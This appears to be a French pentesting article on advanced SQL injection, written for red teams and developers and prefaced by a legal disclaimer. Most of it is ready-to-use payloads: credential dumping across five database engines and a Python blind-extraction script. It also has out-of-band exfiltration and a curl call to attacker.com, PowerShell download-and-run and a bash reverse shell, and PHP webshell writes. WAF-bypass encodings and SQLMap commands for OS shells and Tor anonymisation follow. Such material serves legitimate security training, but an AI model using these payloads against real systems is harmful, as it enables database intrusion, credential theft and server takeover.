1. Introduction : L'injection SQL, une menace persistante
L'injection SQL (SQLi) demeure, depuis plus de deux décennies, l'une des vulnérabilités les plus critiques et les plus exploitées dans le monde de la sécurité applicative. Classée en tant que CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) et figurant régulièrement dans le Top 10 OWASP sous la catégorie A03:2021 - Injection, cette faille continue de provoquer des brèches massives malgré des décennies de sensibilisation. En 2025, les statistiques de Verizon DBIR révèlent que les injections représentent encore environ 23% des violations de données dans les applications web, un chiffre alarmant qui témoigne de la persistance du problème.
L'impact d'une injection SQL réussie peut être dévastateur. Au-delà de la simple exfiltration de données, un attaquant peut contourner les mécanismes d'authentification, modifier ou supprimer des enregistrements critiques, élever ses privilèges au sein de la base de données, et dans certains cas, obtenir une exécution de commandes à distance (RCE) sur le serveur hébergeant le SGBD. Les conséquences financières sont considérables : selon le rapport IBM Cost of a Data Breach 2025, le coût moyen d'une violation de données liée à une injection s'élève à 4,88 millions de dollars, avec un temps moyen de détection de 194 jours.
Les frameworks modernes et les ORM (Object-Relational Mapping) ont certes réduit la surface d'attaque pour les développeurs qui les utilisent correctement, mais la réalité du terrain est plus nuancée. Les applications legacy, les requêtes dynamiques construites par concaténation, les procédures stockées mal sécurisées, et les erreurs de configuration continuent d'offrir des vecteurs d'attaque exploitables. Par ailleurs, de nouvelles surfaces d'attaque émergent avec les architectures de microservices, les API REST et GraphQL, et les backends serverless qui interagissent avec des bases de données variées.
Cet article propose un guide exhaustif de l'injection SQL avancée, depuis la phase de détection et d'identification du type d'injection jusqu'à l'exploitation complète, en couvrant les techniques de bypass de WAF, l'utilisation avancée de SQLMap, et les contre-mesures défensives à mettre en place. Il s'adresse aux pentesteurs, aux équipes red team, et aux développeurs souhaitant comprendre en profondeur les mécanismes d'attaque pour mieux s'en protéger. L'objectif est de fournir une ressource technique pratique, illustrée par des exemples concrets sur les principaux SGBD du marché.
Avertissement légal
Les techniques présentées dans cet article sont destinées à un usage éducatif et dans le cadre d'audits de sécurité autorisés. Toute utilisation non autorisée de ces techniques est illégale et punissable par la loi (articles 323-1 à 323-7 du Code pénal français). Effectuez toujours vos tests dans un environnement autorisé et avec un mandat écrit.
2. Fondamentaux révisés : anatomie d'une injection SQL
2.1 Rappel des principes fondamentaux
Une injection SQL se produit lorsqu'une entrée utilisateur non assainie est insérée directement dans une requête SQL. Le principe fondamental repose sur la rupture du contexte syntaxique : l'attaquant injecte des caractères spéciaux (guillemets, tirets, points-virgules) qui modifient la structure logique de la requête. Prenons un exemple classique d'authentification vulnérable :
-- Requête vulnérable (PHP)
$query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "'";
-- Payload d'authentification bypass
' OR '1'='1' --
' OR '1'='1' /*
' OR 1=1 #
admin'--
Au-delà de ce cas trivial, la compréhension des différents contextes d'injection est essentielle pour un pentesteur efficace. Les injections ne se limitent pas aux clauses WHERE : elles peuvent se produire dans de nombreux points de la syntaxe SQL.
2.2 Contextes d'injection multiples
| Contexte SQL | Exemple vulnérable | Payload type |
|---|---|---|
| WHERE (string) | WHERE name = '$input' |
' OR 1=1-- |
| WHERE (numérique) | WHERE id = $input |
1 OR 1=1 |
| INSERT INTO | VALUES ('$input', ...) |
val'), ('admin','hash')-- |
| UPDATE SET | SET col = '$input' |
val', admin=1 WHERE user='victim'-- |
| ORDER BY | ORDER BY $input |
(CASE WHEN 1=1 THEN col1 ELSE col2 END) |
| LIMIT/OFFSET | LIMIT $input |
1 UNION SELECT ... |
| Table/Column name | SELECT * FROM $input |
users; DROP TABLE logs-- |
| GROUP BY | GROUP BY $input |
col UNION SELECT ... |
2.3 Différences syntaxiques entre SGBD
Chaque système de gestion de base de données possède ses spécificités syntaxiques que le pentesteur doit maîtriser. Ces différences impactent directement les payloads utilisables et les techniques d'exploitation. Voici les particularités essentielles des cinq SGBD les plus rencontrés en audit :
| Fonctionnalité | MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| Commentaires | # -- /**/ |
-- /**/ |
-- /**/ |
-- /**/ |
-- /**/ |
| Concaténation | CONCAT(a,b) |
a||b |
a+b |
a||b |
a||b |
| Substring | SUBSTR() |
SUBSTRING() |
SUBSTRING() |
SUBSTR() |
SUBSTR() |
| Version | @@version |
version() |
@@version |
SELECT banner FROM v$version |
sqlite_version() |
| Tables système | information_schema |
information_schema |
information_schema / sysobjects |
ALL_TABLES |
sqlite_master |
| Sleep | SLEEP(n) |
pg_sleep(n) |
WAITFOR DELAY '0:0:n' |
DBMS_PIPE.RECEIVE_MESSAGE('x',n) |
- (pas natif) |
| Stacked queries | Selon driver | Oui | Oui | Non (PL/SQL) | Oui |
L'identification du SGBD cible constitue l'une des premières étapes d'exploitation. On peut l'identifier via les messages d'erreur, les fonctions spécifiques (un @@version qui fonctionne indique MySQL ou MSSQL), ou via des comportements différenciés (le commentaire # n'est valide que sous MySQL). Pour approfondir les techniques d'attaques sur différents types de bases de données, consultez notre article sur les attaques de bases de données SQL, NoSQL et GraphQL.
3. Union-Based Injection : extraction directe de données
3.1 Déterminer le nombre de colonnes
L'injection Union-based est la technique la plus directe et la plus efficace lorsque les résultats de la requête sont affichés dans la réponse HTTP. Le prérequis fondamental est de déterminer le nombre exact de colonnes retournées par la requête originale, car l'opérateur UNION exige que les deux sous-requêtes retournent le même nombre de colonnes. Deux méthodes principales permettent cette détermination :
Méthode 1 : ORDER BY incrémental -- On incrémente la valeur de ORDER BY jusqu'à obtenir une erreur, ce qui révèle le nombre de colonnes :
-- Tester le nombre de colonnes par ORDER BY
' ORDER BY 1-- -- OK
' ORDER BY 2-- -- OK
' ORDER BY 3-- -- OK
' ORDER BY 4-- -- OK
' ORDER BY 5-- -- ERREUR -> la requête a 4 colonnes
-- Alternative : recherche dichotomique pour les tables larges
' ORDER BY 10-- -- OK
' ORDER BY 20-- -- ERREUR
' ORDER BY 15-- -- OK
' ORDER BY 17-- -- ERREUR
' ORDER BY 16-- -- OK -> 16 colonnes
Méthode 2 : UNION SELECT NULL -- On ajoute des NULL jusqu'à ce que la requête réussisse :
-- Tester avec UNION SELECT NULL
' UNION SELECT NULL-- -- ERREUR
' UNION SELECT NULL,NULL-- -- ERREUR
' UNION SELECT NULL,NULL,NULL-- -- ERREUR
' UNION SELECT NULL,NULL,NULL,NULL-- -- OK -> 4 colonnes
3.2 Identifier les colonnes visibles et leur type
Une fois le nombre de colonnes déterminé, il faut identifier lesquelles sont rendues dans la réponse HTTP et quel type de données elles acceptent. On remplace les NULL par des marqueurs identifiables :
-- Identifier les colonnes affichées (4 colonnes)
' UNION SELECT 'aaa','bbb','ccc','ddd'--
-- Si la colonne 2 et 3 sont visibles dans la page :
' UNION SELECT NULL,'VISIBLE_ICI',NULL,NULL--
-- Tester les types de données
' UNION SELECT NULL,123,NULL,NULL-- -- type numérique
' UNION SELECT NULL,'text',NULL,NULL-- -- type string
3.3 Extraction systématique des données
L'extraction suit une méthodologie structurée : identifier le SGBD, lister les bases de données, les tables, les colonnes, puis extraire les données sensibles. Voici le processus complet pour chaque SGBD majeur :
MySQL - Exploitation via information_schema
-- 1. Identifier la version et l'utilisateur courant
' UNION SELECT NULL,@@version,user(),database()--
-- 2. Lister toutes les bases de données
' UNION SELECT NULL,GROUP_CONCAT(schema_name SEPARATOR 0x0a),NULL,NULL
FROM information_schema.schemata--
-- 3. Lister les tables d'une base spécifique
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR 0x0a),NULL,NULL
FROM information_schema.tables
WHERE table_schema='target_db'--
-- 4. Lister les colonnes d'une table
' UNION SELECT NULL,GROUP_CONCAT(column_name SEPARATOR 0x0a),NULL,NULL
FROM information_schema.columns
WHERE table_name='users' AND table_schema='target_db'--
-- 5. Extraire les credentials
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL
FROM target_db.users--
-- 6. Lire des fichiers sur le serveur (si FILE privilege)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL--
PostgreSQL - Exploitation
-- 1. Version et utilisateur
' UNION SELECT NULL,version(),current_user,NULL--
-- 2. Lister les bases
' UNION SELECT NULL,datname,NULL,NULL FROM pg_database--
-- 3. Lister les tables
' UNION SELECT NULL,table_name,NULL,NULL
FROM information_schema.tables
WHERE table_schema='public'--
-- 4. Extraire les données
' UNION SELECT NULL,string_agg(username||':'||password, chr(10)),NULL,NULL
FROM users--
-- 5. Lire des fichiers (superuser requis)
' UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL,NULL--
Microsoft SQL Server - Exploitation
-- 1. Version et utilisateur
' UNION SELECT NULL,@@version,SYSTEM_USER,NULL--
-- 2. Lister les bases
' UNION SELECT NULL,name,NULL,NULL FROM master..sysdatabases--
-- 3. Lister les tables
' UNION SELECT NULL,name,NULL,NULL FROM target_db..sysobjects WHERE xtype='U'--
-- 4. Lister les colonnes
' UNION SELECT NULL,name,NULL,NULL FROM syscolumns
WHERE id=(SELECT id FROM sysobjects WHERE name='users')--
-- 5. Extraire les hash de mots de passe (si sysadmin)
' UNION SELECT NULL,name+':'+CONVERT(VARCHAR,password_hash,1),NULL,NULL
FROM sys.sql_logins--
La technique Union-based reste la plus efficace pour l'extraction de grands volumes de données, car chaque requête peut retourner plusieurs lignes. Cependant, elle nécessite que le résultat de la requête soit reflété dans la réponse HTTP, ce qui n'est pas toujours le cas. Lorsque les données ne sont pas directement visibles, il faut recourir aux techniques d'injection aveugle (blind).
4. Blind SQL Injection : extraction sans visibilité directe
L'injection SQL aveugle (Blind SQLi) est la situation la plus fréquemment rencontrée en pentest moderne. L'application ne retourne pas directement les résultats de la requête SQL dans la réponse HTTP, mais le comportement de l'application varie suffisamment pour permettre une inférence bit par bit des données. Deux sous-catégories existent : Boolean-based et Time-based.
4.1 Boolean-Based Blind SQLi
Dans ce scénario, l'application retourne deux réponses distinctes selon que la condition injectée est vraie ou fausse. La différence peut être subtile : un message d'erreur différent, un contenu de page légèrement modifié, un code HTTP différent (200 vs 302), ou même une différence de taille dans la réponse. L'attaquant pose des questions booléennes à la base de données et déduit l'information caractère par caractère.
Algorithme de recherche binaire (binary search) : pour chaque caractère à extraire, plutôt que de tester les 95 caractères ASCII imprimables un par un (ce qui nécessiterait en moyenne 47 requêtes par caractère), on utilise une recherche dichotomique qui réduit le nombre de requêtes à 7 par caractère (log2(128) = 7).
-- Étape 1 : Vérifier la vulnérabilité
' AND 1=1-- -- Réponse VRAIE (page normale)
' AND 1=2-- -- Réponse FAUSSE (page différente)
-- Étape 2 : Déterminer la longueur d'une valeur
' AND LENGTH(database())=1-- -- FAUX
' AND LENGTH(database())=5-- -- FAUX
' AND LENGTH(database())=8-- -- VRAI -> le nom de la DB fait 8 caractères
-- Étape 3 : Extraire caractère par caractère (binary search)
-- Premier caractère de database() :
' AND ASCII(SUBSTRING(database(),1,1))>64-- -- VRAI (> '@')
' AND ASCII(SUBSTRING(database(),1,1))>96-- -- VRAI (> '`')
' AND ASCII(SUBSTRING(database(),1,1))>112-- -- FAUX (<= 'p')
' AND ASCII(SUBSTRING(database(),1,1))>104-- -- VRAI (> 'h')
' AND ASCII(SUBSTRING(database(),1,1))>108-- -- FAUX (<= 'l')
' AND ASCII(SUBSTRING(database(),1,1))>106-- -- FAUX (<= 'j')
' AND ASCII(SUBSTRING(database(),1,1))>105-- -- FAUX (<= 'i')
-- ASCII 105 = 'i' --> premier caractère trouvé !
-- Étape 4 : Extraire le nom de la première table
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1),1,1))>96--
-- Étape 5 : Extraire un mot de passe
' AND ASCII(SUBSTRING((SELECT password FROM users
WHERE username='admin'),1,1))>64--
4.2 Time-Based Blind SQLi
Lorsque l'application retourne exactement la même réponse quelle que soit la condition injectée (aucune différence observable dans le contenu), la technique Time-based permet d'utiliser le temps de réponse comme canal d'inférence. L'attaquant injecte une instruction conditionnelle qui provoque un délai mesurable si la condition est vraie.
-- MySQL : SLEEP()
' AND IF(1=1, SLEEP(5), 0)-- -- Délai de 5s si VRAI
' AND IF(ASCII(SUBSTRING(database(),1,1))>96, SLEEP(5), 0)--
-- PostgreSQL : pg_sleep()
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
' AND (SELECT CASE WHEN ASCII(SUBSTRING(current_user,1,1))>96
THEN pg_sleep(5) ELSE pg_sleep(0) END)='1'--
-- MSSQL : WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))>96) WAITFOR DELAY '0:0:5'--
-- Oracle : DBMS_PIPE.RECEIVE_MESSAGE
' AND 1=(CASE WHEN (1=1) THEN
DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)--
-- MySQL alternative : BENCHMARK()
' AND IF(1=1, BENCHMARK(10000000, SHA1('test')), 0)--
4.3 Automatisation avec Python
L'extraction manuelle caractère par caractère est extrêmement fastidieuse. En pratique, on automatise le processus avec des scripts Python. Voici un script illustrant l'extraction Boolean-based avec recherche binaire :
import requests
import string
import sys
URL = "http://target.com/search"
TRUE_INDICATOR = "résultats trouvés" # Texte présent quand condition VRAIE
def check_condition(payload):
"""Teste si la condition SQL injectée est VRAIE."""
params = {"q": f"test' AND {payload}-- -"}
resp = requests.get(URL, params=params, timeout=10)
return TRUE_INDICATOR in resp.text
def extract_char(query, position):
"""Extrait un caractère par recherche binaire (7 requêtes max)."""
low, high = 32, 126
while low < high:
mid = (low + high) // 2
payload = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
if check_condition(payload):
low = mid + 1
else:
high = mid
return chr(low) if low > 32 else None
def extract_string(query, max_length=100):
"""Extrait une chaîne complète."""
result = ""
for i in range(1, max_length + 1):
char = extract_char(query, i)
if char is None:
break
result += char
sys.stdout.write(f"\r[*] Extraction: {result}")
sys.stdout.flush()
print()
return result
# Exemple d'utilisation
db_name = extract_string("SELECT database()")
print(f"[+] Base de données: {db_name}")
tables = extract_string(
"SELECT GROUP_CONCAT(table_name) "
"FROM information_schema.tables "
"WHERE table_schema=database()"
)
print(f"[+] Tables: {tables}")
4.4 Benchmark : performance des techniques blind
Le nombre de requêtes nécessaires est un facteur critique en blind SQLi, notamment pour rester sous le radar des systèmes de détection. Voici un comparatif des performances selon les techniques :
| Technique | Requêtes/caractère | Pour 32 caractères | Temps estimé (100ms/req) |
|---|---|---|---|
| Boolean brute-force (a-z, 0-9) | ~18 (moyenne) | 576 | ~58 secondes |
| Boolean binary search | 7 | 224 | ~22 secondes |
| Boolean bitwise (bit par bit) | 7-8 | 224-256 | ~22-26 secondes |
| Time-based binary (5s sleep) | 7 | 224 | ~19 minutes (worst case) |
| Time-based binary (1s sleep) | 7 | 224 | ~4 minutes (worst case) |
La technique time-based est significativement plus lente en raison des délais d'attente imposés. C'est pourquoi on préfère toujours les techniques Boolean-based lorsqu'un différentiel de réponse est détectable, ou les techniques Out-of-Band lorsque le SGBD le permet.
5. Techniques avancées d'exploitation
5.1 Error-Based Injection
L'injection Error-based exploite les messages d'erreur du SGBD pour extraire des données. Cette technique est particulièrement efficace car elle permet d'extraire des données en une seule requête, contrairement aux techniques blind. L'idée est de provoquer délibérément une erreur SQL dont le message contient les données ciblées.
MySQL : extractvalue() et updatexml()
-- extractvalue() : provoque une erreur XPath contenant le résultat
' AND extractvalue(1, CONCAT(0x7e, (SELECT @@version), 0x7e))--
-- Erreur : XPATH syntax error: '~8.0.35~'
-- updatexml() : même principe
' AND updatexml(1, CONCAT(0x7e, (SELECT user()), 0x7e), 1)--
-- Erreur : XPATH syntax error: '~root@localhost~'
-- Double query (subquery error) pour MySQL < 5.1
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(
(SELECT database()), 0x3a, FLOOR(RAND(0)*2)
) x FROM information_schema.tables GROUP BY x) y)--
-- Extraction de données via erreur
' AND extractvalue(1, CONCAT(0x7e, (
SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a)
FROM users LIMIT 0,1
), 0x7e))--
PostgreSQL : CAST errors
-- Erreur de cast (conversion de type impossible)
' AND 1=CAST((SELECT version()) AS INTEGER)--
-- ERROR: invalid input syntax for type integer: "PostgreSQL 15.4..."
-- Via sous-requête
' AND 1=CAST((SELECT table_name FROM information_schema.tables
WHERE table_schema='public' LIMIT 1) AS INTEGER)--
-- Via division par zéro conditionnelle
' AND 1/(SELECT CASE WHEN (1=1) THEN 1
ELSE CAST((SELECT current_user) AS INTEGER) END)=1--
MSSQL : CONVERT errors
-- Erreur de conversion
' AND 1=CONVERT(INT, (SELECT @@version))--
-- Conversion failed when converting the nvarchar value
-- 'Microsoft SQL Server 2019...' to data type int.
-- Via sous-requête
' AND 1=CONVERT(INT, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--
5.2 Out-of-Band (OOB) Exfiltration
L'exfiltration Out-of-Band utilise des canaux secondaires (DNS, HTTP) pour transmettre les données extraites vers un serveur contrôlé par l'attaquant. Cette technique est précieuse lorsque ni le contenu de la réponse ni le temps de réponse ne peuvent être utilisés comme oracle. Elle nécessite que le serveur de base de données puisse effectuer des requêtes réseau sortantes.
-- MSSQL : xp_dirtree (DNS exfiltration)
'; DECLARE @data VARCHAR(1024);
SELECT @data = (SELECT TOP 1 username+':'+password FROM users);
EXEC master..xp_dirtree '\\' + @data + '.attacker.com\share'--
-- MSSQL : xp_fileexist
'; EXEC xp_fileexist '\\data.attacker.com\share'--
-- MySQL : LOAD_FILE + DNS (Windows uniquement)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users WHERE username='admin'),
'.attacker.com\\share'))--
-- MySQL : INTO OUTFILE + HTTP (via webhooks)
' UNION SELECT username,password INTO OUTFILE '/var/www/html/dump.txt'
FROM users--
-- Oracle : UTL_HTTP.REQUEST
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||
(SELECT username||':'||password FROM users WHERE ROWNUM=1))
FROM DUAL--
-- Oracle : UTL_INADDR.GET_HOST_ADDRESS (DNS)
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS(
(SELECT username FROM users WHERE ROWNUM=1)||'.attacker.com')
FROM DUAL--
-- PostgreSQL : dblink (si extension installée)
' UNION SELECT dblink_connect('host=attacker.com dbname='||
(SELECT current_user)||' user=x password=x')--
-- PostgreSQL : COPY TO PROGRAM (superuser)
'; COPY (SELECT username||':'||password FROM users)
TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat)'--
5.3 Second-Order Injection
L'injection de second ordre est particulièrement insidieuse et souvent négligée par les outils d'analyse automatisée. Le principe : le payload malveillant est stocké en base de données lors d'une première interaction (par exemple, lors de l'inscription), puis déclenché lors d'une seconde opération qui utilise cette donnée stockée sans la re-valider. C'est un vecteur fréquent dans les applications qui utilisent des CMS comme WordPress avec des plugins mal sécurisés.
-- Étape 1 : Inscription avec payload dans le nom d'utilisateur
Username: admin'--
Password: anything
Email: attacker@evil.com
-- Le nom est stocké proprement dans la base (échappé à l'INSERT)
INSERT INTO users (username, password, email)
VALUES ('admin''--', 'hashed_pwd', 'attacker@evil.com')
-- Étape 2 : Fonctionnalité "changer de mot de passe"
-- Le backend récupère le username depuis la base et l'utilise
-- dans une nouvelle requête SANS l'échapper :
UPDATE users SET password='new_hash'
WHERE username='admin'--'
-- Résultat : le mot de passe de 'admin' est modifié !
-- Autre exemple : profil utilisateur affiché
SELECT * FROM profiles WHERE username='admin'--'
-- Affiche le profil de l'admin au lieu de l'attaquant
5.4 Stacked Queries et SQL Injection vers RCE
Les requêtes empilées (stacked queries) permettent d'exécuter plusieurs instructions SQL en une seule injection en les séparant par des points-virgules. Cette fonctionnalité, supportée nativement par MSSQL et PostgreSQL, ouvre la porte à des attaques dévastatrices incluant la modification de données et l'exécution de commandes système. Pour comprendre l'impact de la désérialisation dans ces chaînes d'attaque, consultez notre article sur la désérialisation et les gadget chains.
-- MSSQL : xp_cmdshell (exécution de commandes)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'powershell -c IEX(IWR http://attacker.com/shell.ps1)'--
-- MSSQL : OLE Automation (alternative à xp_cmdshell)
'; DECLARE @o INT; EXEC sp_oacreate 'WScript.Shell', @o OUTPUT;
EXEC sp_oamethod @o, 'Run', NULL, 'cmd /c whoami > C:\tmp\out.txt'--
-- PostgreSQL : COPY TO PROGRAM (superuser requis)
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned.txt'--
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'--
-- MySQL : INTO OUTFILE (écriture de webshell)
' UNION SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php'--
-- MySQL : User Defined Functions (UDF)
-- Nécessite l'écriture d'une lib .so dans plugin_dir
' UNION SELECT 0x7f454c46... INTO DUMPFILE '/usr/lib/mysql/plugin/evil.so'--
'; CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'evil.so'--
'; SELECT sys_exec('id')--
-- PostgreSQL : large objects pour écrire des fichiers
'; SELECT lo_create(1337)--
'; INSERT INTO pg_largeobject (loid, pageno, data)
VALUES (1337, 0, decode('base64_payload', 'base64'))--
'; SELECT lo_export(1337, '/tmp/shell.sh')--
Attention : impact sur la production
Les techniques d'écriture de fichiers et d'exécution de commandes via SQLi peuvent avoir un impact sévère sur l'intégrité du système cible. En contexte d'audit, documentez toujours ces vecteurs sans les exploiter pleinement, sauf accord explicite du client. Prévoyez un plan de restauration.
6. Bypass de WAF : contourner les défenses périmétriques
Les Web Application Firewalls (WAF) représentent une couche de défense significative contre les injections SQL. Cependant, un WAF ne constitue jamais une protection suffisante à lui seul. Les techniques de bypass WAF sont nombreuses et exploitent les limitations inhérentes à l'approche de filtrage par signatures et par expressions régulières. L'objectif est de transformer le payload de manière à ce qu'il passe les règles du WAF tout en restant syntaxiquement valide pour le SGBD cible. Ces techniques sont similaires dans leur philosophie aux contournements utilisés dans les attaques SSRF modernes et les attaques de web cache deception.
6.1 Techniques d'encodage
-- Encodage URL
' OR 1=1-- --> %27%20OR%201%3D1--
-- Double encodage URL
' OR 1=1-- --> %2527%2520OR%25201%253D1--
-- Encodage hexadécimal (MySQL)
SELECT * FROM users WHERE name = 0x61646d696e -- 'admin' en hex
-- Encodage Unicode
' UNION SELECT --> %u0027%u0020UNION%u0020SELECT
-- Encodage ASCII avec CHAR()
' OR 1=1-- --> ' OR 1=1 --
SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110) -- 'admin'
-- Encodage HTML entities (dans les paramètres XML/JSON)
' OR 1=1--
' OR 1=1--
6.2 Obfuscation syntaxique
-- Commentaires inline MySQL (version-specific)
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
UN/**/ION SE/**/LECT 1,2,3--
-- Case alternation (MiXeD CaSe)
uNiOn SeLeCt 1,2,3--
-- Espaces alternatifs (contourner les regex sur espaces)
'%09UNION%09SELECT%091,2,3-- -- tab
'%0aUNION%0aSELECT%0a1,2,3-- -- newline
'%0dUNION%0dSELECT%0d1,2,3-- -- carriage return
'%0bUNION%0bSELECT%0b1,2,3-- -- vertical tab
'%a0UNION%a0SELECT%a01,2,3-- -- non-breaking space
-- Parenthèses au lieu d'espaces
'UNION(SELECT(1),(2),(3))--
-- Opérateurs alternatifs
' OR 1 LIKE 1-- -- LIKE au lieu de =
' OR 1 BETWEEN 0 AND 2-- -- BETWEEN
' OR 1 IN (1)-- -- IN
' OR 1 REGEXP 1-- -- REGEXP
-- CONCAT pour reconstruire les mots-clés
CONCAT('UN','ION',' SE','LECT') -- (n'est pas exécutable directement
-- mais utile dans certains contextes)
-- Fonctions MySQL sans espace
SELECT(username)FROM(users)WHERE(1=1)
-- Commentaires imbriqués PostgreSQL
SELECT/**/username/**/FROM/**/users
6.3 Techniques avancées de bypass
-- HTTP Parameter Pollution (HPP)
-- Envoyer le même paramètre plusieurs fois
?id=1&id=' UNION SELECT 1,2,3--
-- Selon le framework, la dernière ou la première valeur est utilisée
-- JSON/XML injection (contourner les WAF qui ne parsent pas le body)
POST /api/search
Content-Type: application/json
{"query": "test' UNION SELECT 1,2,3--"}
-- Chunked Transfer Encoding
Transfer-Encoding: chunked
3
id=
4
1 UN
6
ION S
8
ELECT 1
1
,
1
2
1
,
1
3
2
--
0
-- Multipart form-data
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="id"
1' UNION SELECT 1,2,3--
------BOUNDARY--
-- Buffer overflow du WAF (certains WAF ont une limite de taille)
?id=1 AND 1=1 AND 1=1 AND 1=1 ... [répéter 8000+ fois] ...
UNION SELECT 1,2,3--
6.4 Bypass spécifiques par WAF
| WAF | Technique de bypass connue | Exemple |
|---|---|---|
| ModSecurity | Commentaires MySQL version-specific | /*!50000UNION*/+/*!50000SELECT*/ |
| Cloudflare | Unicode normalization, HPP | %EF%BC%87 OR 1=1-- (fullwidth apostrophe) |
| AWS WAF | JSON body, chunked encoding | Payloads dans le body JSON non parsé |
| Imperva | Buffer overflow, double encoding | Paramètre très long + payload en fin |
| F5 ASM | Case mixing, inline comments | uN/**/iOn+sE/**/lEcT |
7. SQLMap avancé : maîtriser l'outil de référence
SQLMap est l'outil open source de référence pour la détection et l'exploitation automatisée des injections SQL. Si son usage basique est bien documenté, ses fonctionnalités avancées restent méconnues de nombreux pentesteurs. La maîtrise de ces options avancées permet d'exploiter des injections complexes que les scans automatiques standards manquent, et de contourner les protections en place.
7.1 Options de détection avancée
# Scan basique avec augmentation du niveau de détection
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
# --level : (1-5) contrôle le nombre de payloads testés
# 1 = payloads basiques (défaut)
# 2 = ajoute les cookies et User-Agent
# 3 = ajoute les headers HTTP (Referer, etc.)
# 4 = ajoute plus de payloads par technique
# 5 = tous les payloads disponibles
# --risk : (1-3) contrôle le type de payloads
# 1 = inoffensif (défaut)
# 2 = ajoute les time-based heavy queries
# 3 = ajoute les OR-based (peut modifier des données !)
# Spécifier les techniques à tester
sqlmap -u "http://target.com/page?id=1" \
--technique=BEUSTQ
# B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline
# Injection dans un header spécifique
sqlmap -u "http://target.com/page" \
--headers="X-Forwarded-For: 1*" --level=3
# Injection via POST avec paramètre spécifique
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test*" -p password
# Injection dans un cookie
sqlmap -u "http://target.com/dashboard" \
--cookie="session_id=abc123; role=user*" -p role --level=2
7.2 Exploitation avancée
# Obtenir un shell OS (via xp_cmdshell, UDF, etc.)
sqlmap -u "http://target.com/page?id=1" --os-shell
# Obtenir un shell SQL interactif
sqlmap -u "http://target.com/page?id=1" --sql-shell
# Lire un fichier du serveur
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
# Écrire un fichier (webshell) sur le serveur
sqlmap -u "http://target.com/page?id=1" \
--file-write="./shell.php" --file-dest="/var/www/html/shell.php"
# Dump complet de la base de données
sqlmap -u "http://target.com/page?id=1" \
--dump-all --exclude-sysdbs
# Dump d'une table spécifique avec conditions
sqlmap -u "http://target.com/page?id=1" \
-D target_db -T users -C "username,password" --dump \
--where="role='admin'"
# Crack des hash extraits
sqlmap -u "http://target.com/page?id=1" \
-D target_db -T users --dump --passwords
# Élévation de privilèges DB
sqlmap -u "http://target.com/page?id=1" --priv-esc
# Exécuter une requête SQL spécifique
sqlmap -u "http://target.com/page?id=1" \
--sql-query="SELECT user, host, authentication_string FROM mysql.user"
7.3 Tamper scripts : contournement intelligent
Les tamper scripts sont des modules Python qui transforment les payloads SQLMap pour contourner les WAF et les filtres applicatifs. SQLMap en inclut plusieurs dizaines, et il est possible d'en créer sur mesure. Voici les plus utiles et leurs combinaisons efficaces :
# Tamper scripts les plus courants
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment # Espaces -> /**/
sqlmap -u "http://target.com/page?id=1" \
--tamper=between # > -> NOT BETWEEN 0 AND, = -> BETWEEN x AND x
sqlmap -u "http://target.com/page?id=1" \
--tamper=randomcase # uNiOn SeLeCt
sqlmap -u "http://target.com/page?id=1" \
--tamper=charencode # Encodage URL des payloads
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2mssqlblank # Espaces -> caractères whitespace aléatoires
# Combinaisons efficaces par WAF
# ModSecurity :
--tamper=space2comment,randomcase,between
# Cloudflare :
--tamper=charencode,space2comment,randomcase
# AWS WAF :
--tamper=space2comment,charencode,between,randomcase
# Chaîner plusieurs tampers
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,between,randomcase,charencode \
--random-agent --delay=2
7.4 Second-order et options réseau
# Second-order injection
# Le payload est injecté sur une URL mais le résultat
# est visible sur une autre URL
sqlmap -u "http://target.com/register" \
--data="username=test*&password=test" \
--second-url="http://target.com/profile" \
--second-req="profile_request.txt"
# Utiliser un proxy (Burp Suite) pour inspecter les requêtes
sqlmap -u "http://target.com/page?id=1" \
--proxy="http://127.0.0.1:8080"
# Rate limiting pour éviter la détection
sqlmap -u "http://target.com/page?id=1" \
--delay=3 --timeout=30 --retries=3 --safe-freq=10
# Authentification
sqlmap -u "http://target.com/page?id=1" \
--auth-type=Basic --auth-cred="admin:password"
# Avec un fichier de requête Burp
sqlmap -r request.txt --batch --threads=5
# Tor pour anonymisation
sqlmap -u "http://target.com/page?id=1" \
--tor --tor-type=SOCKS5 --check-tor
